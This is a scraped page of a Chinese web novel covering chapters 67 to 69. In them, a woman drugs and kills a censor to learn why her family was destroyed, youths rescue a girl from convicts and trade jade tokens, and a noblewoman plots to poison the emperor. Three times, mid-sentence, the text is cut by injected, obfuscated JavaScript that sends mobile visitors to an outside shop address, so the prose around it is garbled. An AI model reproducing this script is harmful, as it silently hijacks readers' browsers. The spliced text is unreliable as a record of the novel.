姜燃对着章珥的右臂又是一剑,冷声道:“我好像告诉过你,我不听废话吧。” 章珥疼得眼前模糊,剑却又抵上了他的左臂,压出了一道红痕。 “是,是。我当年收到姜念汝询问先帝是否要送芦元公主回兰诏的信,我知这是一个好机会,便改了信的内容呈了上去。” “改的内容是什么?” 血洇湿了桌上的好字,章珥此时已经疼得眼前发黑,无法思考。他忍住疼痛道:“兰诏内乱,黎稔她想回兰诏,我隐瞒实情说姜念汝想尽快带黎稔回朝了。” 兰诏内乱? 姜燃脸色骤变,“你没看过那信对不对!” 67. 麒麟玉佩平安坠 章珥疼到扭曲的面庞一顿,他心虚的错开眼,“我看了,信也是我改的,要杀要剐悉听尊便。” 姜燃冷哼一声,“若是你看过信,怎会不知兰诏宦官篡权一事。若你改了这事,他日东窗事发,牧启错过夺取兰诏的大好机会怎么会轻易放过你。” 姜燃凑到章珥面前道:“除非,你根本没看过信,你将信交给牧启了,是他做了决定要除掉姜家。” 锋利的剑刃毫不留情划开了章珥的左臂,“再不说实话我只能先杀了你,再进宫杀你妹妹,然后就是章麓泽和姚明桉。” 家人被威胁,耳边是姜燃引诱他说出真相的声音。 “牧启都已经死了,姜家都没了,我还能怎么办?章御史,我只是想知道真相而已,你说出来以后我又动不了章家。家族败落,亲人亡故。我身为姜家之后,只是想要一个解释。放心,知道事情原委后,我不会报仇的更不会伤害你的家人。我会走的远远的,离开盛安。” 屋内的香炉白烟升腾,飘散到外屋。 章珥闻着木兰香,觉得姜燃说的有道理,他讲出真相来,也没人能动得了章家,何况一个姜家后人能翻出什么浪来。 时辰差不多了,姜燃将脸上的面巾紧了紧,出来前,她特意在内屋的香炉里点了一颗香,是她从闼鞑得到的,闼鞑人都叫它迷魂烟。 章珥眼神迷离,埋在心底的真相也被他吐了出来。 “我得到信后直接快马送去给了先帝,先帝打开看后,犹豫了很久才给姜念汝回信。他告诉我,他决定放弃靠黎稔间接吞并兰诏的计划,要除掉姜家。” 忙了一晚上,姜燃终于听到了自己想听的话。她追问道:“为什么要除掉姜家?” 在迷烟的作用下,章珥有问必答。他解释道:“羊女子,兆女教,三月皇,改朝纲。先帝问我这句童谣是什么意思时,我为了章家稳坐盛安世家,私心将羊女子解释为姜家子。陛下果然对姜家起了忌惮之心,他怕姜家人真的会篡位,所以宁愿不统一中原也要把握机会除掉姜家。” 又是戈罗昂真和十二编篡的这首童谣,她就是要针对大邺肱骨之臣,为利鹘再度崛起铺路。 牧启这个蠢货,还有牧怀兴,章珥。他们父子两个混蛋,配上章珥这个满是私欲的家伙,居然就这么害死了姜氏一族。 姜燃从怀中拿出一个小木盒,里面装着她挖来的火莲花幼苗。 她对章珥道:“既然你对牧氏皇族这么忠心,那拿你入药你肯定也不会介意吧。你们一直找的火莲花就是长在深山中一种香气浓郁的小花,看上去很美丽,却是靠着山中死去动物尸体长大的。开花后的花蕊中含有剧毒,不小心闻了或是误食,便会热毒侵体,这就是乌寒的解药。可它开花需要见血,既然是为牧怀兴寻药,我想你不会介意吧。” 章珥吸入过量的迷烟已经精神不济,姜燃还没说完他就已经倒下了。 姜燃拔出腰间的软剑,割开了章珥的喉咙。血溅在火莲花苗上,渗入深黑的土壤中。 今夜,她终于等到火莲花了。 离开章府时,姜燃还不忘留下高府的令牌。这东西,是她刻意多仿了一块,本想下次入宫时留在宫里让牧怀兴起疑的,这下就先用在章珥身上吧。 离开章府姜燃先去了定远侯府,在姜煜院中寻了块不见天日的废弃菜地,将花苗种在里面。 姜燃又去了肖家祠堂,将从章府拿出来的诗集放进了祠堂的暗格。 她给肖家众人,还有姜念汝和奚河的牌位上了一柱香,求他们保佑自己能为姜家报仇。 等忙完一切,回到高宅时已是夜半三更。 紫英早早就睡下了,她的屋子和姜燃的挨着,怕吵醒紫英,姜燃蹑手蹑脚的打开屋门,简单洗漱一下就睡了。 明早,还得跟着忆欢折腾呢。 天光微亮,睡了一整夜的忆欢又活力满满的醒来。吃过早饭,便拽着紫英和姜燃取慧慈院玩。 几人坐着马车出了高府,一到街上,就听见整个盛安城内的大街小巷都在议论昨夜发生的大事。章府的章御史昨夜因多日忙于公务,突发心疾,不治身亡。 还在闭目养神的姜燃听到消息,嘴角扬起一抹不易察觉的弧度,又很快消失。 突发心疾,有意思。 去了慧慈院,再路过那家糖画就得穿过章府。章家人家中有丧事,忆欢觉得再去那条街玩闹实在不好。 “紫英姐,花燕姐,咱们去小叔叔之前去的郊外河边玩吧。我听小叔叔说那可漂亮了,我还没去过呢。” “这……” 紫英有些为难的看向花燕,花燕姐年纪长些,一般这些事她都听她的。 察觉紫英望过来的眼神,姜燃打了个哈欠。出去玩也好,这盛安她早待腻了。 姜燃清清嗓子,郑重道:“好吧,不过忆欢,你到时候可不能乱跑。” 秋日的郊外,早已不似前段时间那般盎然生机。绿色的草地已经枯黄,树叶也落了大半,只剩河水中的鱼儿依旧肥硕。 紫英不许忆欢靠近水边,自己去帮她钓鱼。姜燃带着忆欢坐在远处,看紫英钓鱼解闷。 “站住!你们快给我站住!” 一阵嘈杂的声音传来,三个身着囚衣的男人正飞速朝着她们的方向跑来。追着他们的,是两个身穿官服的公廨中人。 忆欢他们的马车正好挡在前面,二豹捡起车上的马鞭重重一挥,马儿撒蹄飞速就跑,后面的一个捕手躲备不及,被发狂的马撞倒在地,昏死过去。 “老大,你快看,前面有个孩子。看她打扮的样子应该是盛安城里的官家小姐,咱们不如绑了她,靠她换个自由身,这下咱们兄弟就不用去前线卖命了。” 黑山虎见忆欢年龄小身边也没个护卫应该好绑,干脆一边做二不休,“好,就这么办。二豹三豹,你们对付这个大的。我绑这个小的。” 二豹和三豹冲忆欢扑上来的时候,姜燃脑袋嗡的一声,身体被她强制钉在原地思考。 自己要出手吗,忆欢可是高羡的女儿,她也是帮凶,她也该付出代价。 眼前的人面目狰狞,黝黑粗糙的手离她只有半寸,忆欢害怕极了,身体本能让她喊了出来。 “救命啊,红豆阿姐!” 噗—— 是剑刃划破皮肉的声音。姜燃出剑的速度比脑子思考的速度要快,她脑中还是一团乱麻,手上已经一把拉过忆欢,将她护在身后。 红豆阿姐…… 忆欢以前一叫她的名字,她就会站出来保护她的。所以,现在即使她们二人隔着血海深仇,她也该站出来保护忆欢的。 她以前告诉过忆欢,忆欢求救时喊的红豆阿姐会是天底下最厉害的人,既然答应过忆欢,自己就不该食言的。 二豹被划伤了胳膊,躲在三豹身后不敢往前冲过来。三豹眼见二哥失手,一时气不过,挥舞着拳头就朝姜燃招呼过来。 紫英听见动静,扔下鱼就往这边跑,却被躲在一旁的黑山虎扔了一把灰土偷袭,迷了眼睛。 黑山虎见偷袭成功,心中不免洋洋得意。这招还是和送他进大牢那个姓高的人学的,他也算出师了。 公廨的捕手终于追上了黑山虎一行人,他喘着粗气呵斥几人停手。 捂着伤口的二豹见捕手追上来了,从背后一把将其扑倒在地,用他身上的绳子将他捆起来。 忆欢躲在花燕姐背后,给紫英姐吹着眼睛,她知道这几人都不是花燕的对手,于是狐假虎威道:“花燕姐,狠狠的打他们。” 姜燃握好剑,心底起了杀心。这些贼,害得她出门都没时间赏景,该死。 黑山虎还以为姜燃和紫英一样好对付,可二豹和三豹吃过亏,知道面前的女子不好付,一个劲往黑山虎身后躲。 黑山虎不满的啐道:“没出息的东西,闪开,老子亲自动手。” 黑山虎从地上捡了个木棍便朝着姜燃冲去,紫英眼睛好受了些听见黑山虎跑过来的步子大喊,“花燕姐小心!” 破绽百出的招式也好意思充老大,姜燃暗道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452520|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好笑,闪身躲开黑山虎,一剑迅速劈向他的脑袋。 铛—— 啊! 这场面忆欢可不敢看,她赶紧捂住双眼,直到听见二豹三豹关心他们老大的声音。 一把青龙戟挡开姜燃的剑,擦着黑山虎的头皮从发间穿过直直插入地中,把他牢牢钉在地上。 见是青龙戟,姜燃收了剑回头望去。只见身后站着一个和忆欢差不多大的孩子。 二豹三豹再怎么没见识,也识得这是青龙戟,知道来者是肖家人。他们两人对视一眼,赶紧使劲握紧青龙戟想拔出戟来救出黑山虎。 “别费力了,我家小公子可是天生神力,他的戟一般人可拿不动。” 蒋化藏双手叉腰,得意洋洋得夸耀着自家公子。 肖北休脸色微红,掩饰着轻咳一声对姜燃解释道:“我是见姑娘刚才动了杀心这才出手帮忙,为了这种败类杀人太不值得了。” 二豹三豹见实在拔不出戟,趁几人说话便撒腿就跑。肖北休见状不慌不忙,扔出两记石子狠狠打在他们腿上。 肖北休看他们都穿着囚衣还绑了公廨的人,于是借了姜燃的剑,一剑解开了绑着捕手的绳子。又让蒋化藏将地上的捕手搀到自己马车上,让他进城看大夫。 “不知公廨是安排几人流放去哪?” 有青龙戟性子又老练沉稳,捕手猜他应该有官职在身便也没瞒着,谢过他后如实告知,“这几人是靖晏侯清剿山匪时的漏网之鱼,后来下山又犯案时被一位公子抓到送来毫州公廨的。我们县尉判他们到北上到蔺州戍边。” 判了兵役还想犯案,肖北休惋惜着摇头,看来这几人死性不改了。 肖北休递出令牌,“我乃镇北将军肖逾部下昭武校尉,既然他们要去戍边,不如到我铁甲覆面军去为大邺而战。还烦请带着这块令牌,将其带往庆州我父亲哪里。” 果然是肖家人,捕手接了令牌恭敬道:“是。” 忆欢望着肖北休沉稳老练的处事方式,心生敬佩。武功这么好不说,做事还周全。肖家人,果然厉害。 肖北休将剑还给姜燃,对忆欢道:“姑娘若不着急,可等着我的人帮你们把马车寻回来再回盛安。” “我不着急的,”忆欢望着偌大的树林,担忧道:“马车还能找回来了吗?” 肖北休道:“这不难,顺着车辙印就能找到。” “可这地方好多都是树叶,还能有车辙印吗?” 肖北休看着眼前打破砂锅问到底的姑娘淡淡一笑,“秋日落叶大多是枯叶,马车走上去会有大片的碎叶,顺着痕迹不难找回来。” 肖北休盯着眼前仍有些担心的姑娘宽慰道:“姑娘不必担心,我和几个随从还有马,若马车找不回来,我就把马送给姑娘,让姑娘骑马回家。” 忆欢看着这人着实有趣,明明是她遇上倒霉事弄丢了马车,他怎么比自己还担心她能不能回家。 看眼前的公子一脸认真的样子,忆欢噗哧一声笑道:“你这人可有趣,找回马车本就是你帮我,怎么还要再赔我几匹马。” 忆欢一笑,肖北休也被她牵着笑道:“身为朝廷命官,怎么能眼睁睁看着我大邺百姓无法归家而一走了之呢。” “没想到你这人,还真是一身正气。” 忆欢笑完指指肖北休身上的玉佩,“这是…姑娘送的吗?” 肖北休低头一瞧,回道:“是,我阿姐送我的。” 忆欢将自己身上带着的平安扣解下来送给肖北休,“这是利鹘暖玉做的玉坠,保平安的,可灵了。今日你阻止我阿姐伤人,还帮我找马车。你在铁甲覆面军肯定时常打仗,我在盛安待着用不上这个。我把玉坠送你,保你在战场上平安。” 肖北休鬼使神差的接过玉坠,暖玉自带的温热传到他的掌心。他想回礼,却发现自己什么都没带出来。 肖北休低头看着她留意过的玉佩,反手拽下来递给她,“这是我长姐给我求的,说麒麟能保佑我勇猛杀敌,青云直上。你喜欢就送给你吧。” 68. 秋日游,桂花落满舟 骑马回程的路上,蒋化藏有些话想对肖北休说,却又欲言又止。 肖北休看着蒋化藏明晃晃摆在脸上的我有话想说,笑道:“说吧,什么事。” “公子,咱们这次和侯爷他们分开走提前回盛安,不就是为了给皇后娘娘准备生辰礼吗?您可倒好,礼没买到,还又搭了大小姐给您求的玉佩进去。咱们帮她们找马车,那平安扣是人家小姐给的谢礼,您还回礼做甚。还好大小姐此次突感风寒不宜进京,不然您可就惨了。” “我身为大邺官员,为大邺的百姓做事是理所应当,何需什么谢礼。人家客气,我自然也得回礼才是。我还得多谢高姑娘告诉我实情呢,她久在盛安城,她既然都说城里的东西还没有她家乡的东西精致漂亮,那我们何必再跑去盛安买呢。咱们啊,还不如在路上找些新奇的小玩意当寿礼呢。” “哎!”蒋化藏长叹一声,“公子,合着咱们白折腾了一圈。” 肖北休笑道:“救了人,又招了三个贼寇入我铁甲覆面军,怎么算白折腾呢。化藏,既然咱们不买寿礼了,就得快马加鞭争取赶紧和祖父祖母汇合。” 蒋化藏率先扬起马鞭,一鞭抽下,马儿撒开四蹄奔腾。 “好!公子,这次我肯定比你快” 肖北休不甘示弱,也扬鞭追了上来,“那我们就比比,看谁先到。” 驾驾—— 日出日落,秋意更浓。 姚映梧几人在衣娘的小院过了好几天舒心的日子,早起赏花,夜深赏月。 院里的小池塘还养着匀称的锦鲤,被几人勤快的喂了几日,体型隐隐变得肥硕,在池中摆尾游动都没那么欢快了。 今日是众人盼了好久的十一,大家都早早起床去集市凑这个热闹。明日回了盛安,就赶不上这样热闹肆意的集市了。 姚映梧要和高琢去城南看舞狮,肖遥想和牧泓屿去城北的铺子给肖扶锦买生辰礼。几人便分头行动,约好戌时一起到城西看花灯。 城南的舞狮队已经整装待发,只等号令的锣鼓一声令下。 隆咚锵,隆咚锵,隆咚,隆咚,锵锵锵。 喧闹的锣鼓敲响,舞狮的队伍迈着整齐划一的步调表演着舞步。 抖毛,翻滚,跳桌。 一个动作接一动作,灵活又生动。 看的姚映梧是应接不暇,忍不住跟着人群连连出声叫好。 她长这么大以来,还是第二次看舞狮。上一次看,还是母亲刚嫁来姚府的元日,被母亲抱在怀里看的。 高琢这几日都是强打着精神跟大家嬉闹,他心里一直堵着一团乱麻,吃饭都是味同嚼蜡。 可今日出来,见阿缘如此高兴,高琢心情竟不知不觉好了大半,也跟着阿缘一起笑了起来。 瞥见高琢嘴角微微扬起的弧度,姚映梧脸上的笑意更大了。 其实她老早就察觉到高琢不太对劲,她手的伤口彻底愈合前,她吃东西都不方便。可高琢老是吃的比她还慢,还时不时叹气。和她一起喂鱼赏月,也总是出神发呆。 她看着高琢眼下越来越重的乌青,觉得不能再这样下去了。所以她今日刻意单独和他出来,带他散散心。 “诸位,今日是我们琳琅轩在城南新铺开张的日子,日后也望大家能多多赏光,来我们琳琅轩买玉石翡翠。安某在这,谢过大家了。” 说完的安掌柜一眼就瞧见了人堆里的高琢,他脸上堆满笑意迎上去,“哎呀,没想到高公子今日有空也来琳琅轩了,不知公子可是来卖货的。” 高琢摇摇头,道:“那好东西只有一块,已经卖给安掌柜,我就是再想卖也没有了。” 安掌柜一想到那宝贝被他拿下,又高价卖到了盛安的高官世家大赚一笔,他脸上的笑都掩盖不住。 安掌柜搓搓手,“上次公子的玉一到我这,就被盛安城一个世家的小郎君买走了。后来多少人想要,我都拿不出来了。公子日后若是再得了宝贝,可一定要卖给我们琳琅轩啊。” 高琢客气道:“一定一定。” 等安掌柜去招呼别的贵客,姚映梧才恍然大悟道:“你传家的宝贝是块玉石啊,难怪能买得起盛安的宅子。” 嫂嫂留给他的两块玉石其实都是让他以后给娘子打首饰的,想到这高琢脸红的挠挠头,“是沾了我嫂嫂的光,这东西是她留给我的。多亏有她,我才能在盛安给得起你一处安稳的地方。” 高琢直白的话听的姚映梧不禁别过头去,红红的耳朵有些发烫。 天清气朗,万里无云。 姚映梧眼睫微垂,轻声询问道:“高琢,舞狮也看完了,今天天气不错,要不,咱们去游湖吧。” 微波荡漾的湖面上,船夫撑着蒿,划动着一叶兰舟。两人就乘着小船,一同游湖。 阳光正好,微风不燥。姚映梧盯着水中的游鱼穿梭在浮萍间,嘴上不自觉就含上了笑意觉得有趣极了。 湖上乘舟看见的风光,果然不是家中那片小湖能比的。 波光粼粼的湖面,映得姚映梧全身都泛着微光。像高琢初见她时,城楼上的落日的余晖洒满了她的裙摆。 高琢一时看呆了,心底压制不住的私心战胜了理智。他还是情不自禁拿出了准备给阿缘的缠枝桃花玉簪。 倘若他日后真的不能活着回来,这个簪子也该送给阿缘。若他死在庆州,她一看到簪子就能想起他来吧…… 看清高琢手里的东西,姚映梧语气都染上了雀跃。 “这是,送我的玉簪。” 望着高琢呆愣愣的神情,姚映梧主动把头往他那边靠了靠,“还愣着干什么,帮我戴上。” 姚映梧抚上玉簪,触手温热。活灵活现的桃花像从玉簪中开出来的那般,阳光下,温润的玉花瓣晶莹剔透。 “这是利鹘暖玉?” 高琢脸上绽开大大的笑,“是了,给你的东西自然要是最好的。” 高琢又从怀着掏出一个布包,“阿缘,这个你等回去再看。就你一个人看,连肖遥也别给她看。” “这么神秘。”姚映梧笑着接过布包,“好,这个我回去自己看。” 姚映梧又从倒影中看着发间的玉簪,抬眸间,粼粼的微光也照进了她的眼中。 “我戴这簪子好看吗?” 高琢呆呆一笑,“好看。阿缘,是天下最好看的。” 城北街上的铺子一个接一个,每家铺子都有各家镇铺的稀罕物。 肖遥连着逛了好几家,都没找到一个心仪的东西。 她和牧泓屿逛累了,随便进了家茶铺休息。一到桌前,她整个人便丧气地瘫在桌上。 大前年她送给姑母一把好弓,前年是从闼鞑寻到的烈马,去年是一把扇骨藏针的金丝扇…… 唉,今年送点什么好呢…… 牧泓屿跟小二要了一壶热茶,给肖遥倒了一杯,又给自己倒了一杯。 “皎皎,送什么生辰礼都无妨的。你送什么,母后都会喜欢的。” 逛了许久,肖遥也口渴了。她仰头将茶水灌进肚子里,“话虽如此,可姑母独身一人待在盛安,我总得给她送点平时能解闷的东西才好。” “嗯…送把玄铁短刀怎么样?”牧泓屿喝着茶,微微思索道。 肖遥眼睛一亮,“对啊,短刀不仅在宫里可以用,万一遇到险要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458431|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况还能防身。小七,你真是太……” 牧泓屿边听肖遥讲话,手上又给自己添了一杯茶。高琢绝对是故意捉弄他,给他喝的汤怎么这么咸。 肖遥盯着牧泓屿添水的动作,摇头感叹道:“小七,我还是第一次见你无表情的喝茶铺里的茶。以前我跟你一起去茶铺,你总是嫌这嫌那的,为了喝口合心意的茶,你能拉着我走便遍半个盛安。现在经历了这么事情以后,你都变得不挑剔了,果然还是环境最能改变人呐。” 牧泓屿放下茶壶,“还说呢,高琢给我的汤里得三勺盐,我除了小时候,就没吃过这么咸的东西了。我……” 牧泓屿突然停下来,又喝了杯水没再说下去。 肖遥伸手摸了摸他低垂的眼睫,又长又密,陛下几个皇子中,还是小七长得最好看,应该是像他的母妃金氏吧。 “小七,我见过你小时候吃了好多苦。陛下不疼爱你还偏爱二皇子,眼睁睁看你被二皇子欺负都不管你。你说这世上根本没人爱你,我不信这个邪,说我以后最爱你,只爱你。可我还是食言了,皇宫又大又冷,我待不住,所以我拼命逃得远远的。你再怎么喊我我都没敢回头,我怕你的父皇把我困在这儿。” 肖遥捧起牧泓屿的脸,“小七,这次我说的是真的。离宫前你跟我说得话我都记得,我一定都做,到时候我们好好在一起。所以,你也别对我食言好不好。” 牧泓屿眼底漫起薄雾,他眼睫轻颤,“皎皎,我…我答应你。” 牧泓屿突然留下一滴眼泪,肖遥用指腹替他轻轻擦去,“不哭,咱们往后的好日子还长着呢。” 肖遥带着牧泓屿一路打听,终于找到了毫州城内最好的铁匠铺。 肖遥给铁匠大致描绘了她想要的短刀样子,又跟铁匠调整了短刀的长短和薄厚等细节。牧泓屿就在铁匠铺外,望着肖遥忙前忙后的样子出神。 等拿到短刀,已经快到他们约定的戌时了。此时,城内的大半百姓都涌到了城里有名的两情桥附近。祈福最重要的环节就是到桥下放河灯,再跟着河灯顺着河道走到湖边,等到吉时,大家一起放孔明灯。 铁匠铺离两情桥不远,肖遥拿好短刀,拉着牧泓屿的手一路穿过人群。 怕赶不上戌初吉时的人们都开始陆续的放河灯,朝湖边走去。两人就这样逆着人群,一路小跑。 牧泓屿跟在肖遥身后,他盯着他们紧握的手,耳边是肖遥说的誓言。肖遥的手握的很紧,即使有人撞到他,他们的手都未曾分开一丝缝隙。 毫州城的两情桥,乞巧节时最是热闹。据说城内的新婚夫妇,只要成婚时走过这座桥,就能恩爱到白头,永世不分离。 肖遥和牧泓屿就站在桥下,听着人们笑谈这个桥的传闻。 肖遥四处张望,完全没看见阿缘和高琢的身影。 戌初,第一个吉时到了。 放过河灯的人已经在湖边点燃的孔明灯,漆黑的夜一下子变得明亮。 肖遥第一次见到这么多孔明灯,一时也忘了找人,只握紧牧泓屿的手同他看着夜空的灯。 牧泓屿看了一会,扭头便看见眼神虔诚的肖遥望着孔明灯,眼睛里是前所未有的新奇。 牧泓屿拉拉肖遥的小手指,肖遥感受到后,疑惑扭头看过来。 牧泓屿一把将肖遥抱在怀里,“皎皎,等找到他们后我们一起吃消夜。” 肖遥回抱住牧泓屿,“好。” 牧泓屿把下巴靠着肖遥肩上,“那等回了盛安,我们乞巧节也来走这个桥。” “好。” 牧泓屿双手慢慢抱紧肖遥,在她耳边道:“皎皎,以后你爱我吧。” 69. 鬓边石榴花 深秋的夜,寒夜中的霜气渐重,每次风起都让人从头到脚漫上寒气。 牧泓屿说完,又将头埋进肖遥的脖颈处。她身上的温度,融化了他吸进身体里的冷气。 他好想就这样抱着她,一直抱着。只有跟她在一起的时候,他才可以什么都不去想,什么都不去做。只是静静的和她在两情桥下待着,永远不分开。 肖遥摸着怀里没有安全感的家伙,嘴角上扬,在他耳边郑重道:“好,以后我来爱你。” 人声鼎沸,爱意萌生,肖遥就跟他初见她时那般令他心动。 远处,没找到皎皎和牧泓屿的姚映梧急坏了。 他们下了船就立刻赶来这了,可左等右等,直到到了戌时,也没等到两人出现。 十一,是每月最后的祈福日,今日来祈福的人越来越多。姚映梧和高琢伸长脖子也没看到想见的人。 来往的人推推搡搡,想在人堆里找人更是难上加难。高琢干脆拉着姚映梧跑到桥上张望,毕竟站的高看得远。 突然,一抹熟悉的身影穿着枣红色襦裙映入高琢眼帘。 高琢眼神一亮,兴奋指道:“阿缘,你看,是裴姑娘。” 姚映梧迷茫看着高琢指的方向,“什么裴姑娘。” “裴虞卿裴姑娘啊。” 高琢将姚映梧拉过来一点,手又指向看到裴姑娘的方向。 “咦?刚才就在这的,怎么不见了。” 高琢带着姚映梧走到他刚刚看见裴姑娘的地方,四下寻她却没见到人。 “奇怪,刚刚我还看见你表姐了,怎么突然不见了呢。她穿着一身枣红色襦裙很是显眼,我不会认错的。” 姚映梧望着熙攘的人群,只是枣红色襦裙她就见到了十几人穿着。 她摇摇头,“你怕不是看错了,这这么多人呢。而且,表姐怎么会来毫州城呢。” 高琢站到河边一块凸出的大石头上,“不会啊,我刚才就看她站在这边朝河对面看呢。” 姚映梧是半信半疑的跟高琢一起站了上去,却意外看见了河对岸正抱在一起的的牧泓屿跟肖遥。 “皎皎,皎皎。” 姚映梧跟高琢大喊着挥手,可惜离得太远,周围又太嘈杂,他们根本听不到。 肖遥突然感觉到牧泓屿一僵,全身都不自在了起来。 肖遥松开他,见牧泓屿神色突然变得有些难看。肖遥疑惑不解,顺着他望去的方向看过去,正好看见阿缘他们在对岸朝她和牧泓屿招手。 肖遥冲他们挥挥手,示意他们过来,扭头却看见牧泓屿的脸色还是苍白难看。 肖遥心中暗笑,每次有人打扰他们两人独处的时光,他就会跟自己闹别扭。 肖遥扭头安抚牧泓屿道:“没事,咱们日后的日子还长着呢。等改日有空了,咱们就到毫州来,到桥上走走。那时候你得给我买金乳酥吃,谁叫你那日只买了桂花糖糕,我进屋去写信,连桂花糖糕都没吃上。” 牧泓屿此时的脸色慢慢好看了些,他点点头,“毫州城的金乳酥哪会有盛安的好吃,等回了盛安,我们一起到和羹居吃。皎皎你也要说话算数,有空就跟我来毫州城走走。” 见牧泓屿答应,肖遥将姚映梧生辰时送她的暖玉平安扣交到牧泓屿手上,“阿缘说这是一对儿,能保佑相爱之人永远不分离,我一个,你一个好不好。” 牧泓屿手上的平安扣带着肖遥的体温,他心里五味杂陈。他没犹豫,将平安扣带到脖子上,眼眶微红道:“嗯,你一个,我一个。” 等高琢和姚映梧穿人群走到肖遥和牧泓屿面前时,已经到了祈福最后的吉时了。 四人一会面,都来不及说上几句话,就匆匆跟着大家放了河灯然后去池塘边放孔明灯。 约定好的祈福仪式变得匆忙,脱手的河灯还没来得及许愿,就随着河道飘远了。 两情桥下的人太多了,几人紧赶慢赶还是没赶在吉时放上孔明灯。 姚映梧望着手里尚未点燃的孔明灯长叹口气,“唉,总是有遗憾的吗。等下次,下次我们再一起来放孔明灯吧。” 吉时也是人定的,高琢不信这些。他将带的几根火折递给众人,“只是没赶上吉时而已,祈福还是很灵的吧。咱们来都来了,把孔明灯放了吧。” 四盏孔明灯带着四人的愿望缓缓升空,姚映梧将火折还给高琢,看向几人道:“许完愿了,药的事情也了了,咱们明日就回盛安。” 放完孔明灯,几人回去的时候已是临近亥时。 肖遥按例拿上戟去院中操练,只剩姚映梧一人待在前厅。 划船时,高琢给神神秘秘给她的东西只让她觉得好奇。可刚才回来的时候,高琢又悄声告诉她,这东西知道的人不多,烧掉就就没有证据了。 奇怪的话让姚映梧摸不着头脑,没有证据是什么意思? 想着高琢的嘱咐,姚映梧特意等肖遥离开后回了自己的屋子,准备看看布包里装的到底是什么。 锦帕包得小布包包得死死的,姚映梧费了好大劲才打开。剥开外层的锦帕,里面是一层金线蚕丝手帕,摸上去是微凉的手感。 姚映梧眉头紧皱,这好像是宫里的东西吧,高琢怎么会有。 难道,是高羡从宫里带出来的! 想到这,姚映梧慌了神,着急忙慌的想解开蚕丝手帕。她猛然想起那日高琢提到的遗诏还有先帝的妃嫔,心里越着急,手上的锦帕越难解开。 解开手帕时,她已经大汗淋漓。 金线蚕丝手帕上,赫然躺着她送给高琢的牡丹祥云纹玉佩。她气恼,还来不及想出骂高琢的话。底下手帕上写着的遗诏,已经让她震惊不已。 姚映梧全身发麻,眼前一阵阵晕眩,看到的每一个字都飘了起来。 “……若朕离世,贤妃姚氏殉节从葬。” 读完这句话,姚映梧只感觉自己已然头晕目眩,恶心的感觉直冲她的头顶。 牧启开国后,延续前晋宣帝做法废除活人殉葬。可他牧怀兴,居然要拿她的长姐陪葬。 “……阿缘,这东西烧掉就没人有证据了。” 高琢的话现下萦绕在姚映梧心头,原来是这个证据啊。 姚映梧缓了好久,这才感觉自己的思绪稳了下来。她走到书桌前,将金线蚕丝手帕放到烛火上烧掉。这东西肯定是高琢从高羡那拿来的,等陛下一离世,高羡即使说要长姐殉葬也是空口白牙没有证据。 手帕易燃,火苗烫到了姚映梧的手指。 嘶—— 她猛地缩回手,对着手指呼气。手上被割伤的伤口用了肖遥给的药已经好了大半,只是还是留了浅浅的疤。姚映梧望着伤口,左手颤抖着摸上了姜燃给她的药瓶。 陛下薨逝后,高羡又拿不出遗诏,她只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462786|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要趁乱想办法让长姐离宫后离开盛安,她们是不是就能在别地团聚了。 高琢到铁甲覆面军立功就能直接赚到功名,到时候父亲肯定会同意他们在一起的。 可这个地方是哪呢? 姚映梧瞥见肖遥的双剑,也找到了最合适的地方,蔺州。 鄢云十州,离盛安山高路远,谁会认识一个贤妃呢。蔺州又离娘亲的母族极近,到时候他们的日子过得也不会太艰难。 先帝一死,太子登基。皎皎肯定能离开盛安,牧泓屿与太子关系匪浅,肯定也能顺利离开。陛下服了药压制毒发,她只要寻找机会放入乌寒,到时候一切罪名自然是帮陛下治病的高羡来担。 高羡送了她一份大礼,她也还他一份。 只要她谋划好一切,他们还能在蔺州团聚,到时候他们又能在一起过生辰了。 姚映梧扫下桌上的手帕灰烬,扔进花盆内。 姜燃姑娘跟她说乌寒外敷是治刀剑伤的,内服却有剧毒。 书架上,摆的瓷瓶就是肖遥替她敷药的药粉。 她现在正好缺一些乌寒。 巳时,盛安城门大开,许多百姓在入城的城门处等着铁甲覆面军得胜归来。 从那日肖北休替她们找回马车后,忆欢就常常自己溜出高府去城外玩,还不许她跟紫英跟着。姜燃乐得清闲,也正好有时间来养火莲花。 一大早,姜燃带着开花的火莲花回到高府。 她还没想好怎么劝忆欢来和羹居,忆欢就已经换上一条新做的石榴红襦裙,戴着她最心爱的石榴花步摇,兴冲冲拉着刚回来的她出门去凑肖家归城这个热闹。 她故意装作不经意的样子,告诉忆欢和羹居有一间雅间的位置刚好能看见铁甲覆面军入城。忆欢听后,果然带她来了她与姚映梧约定好的屋子。 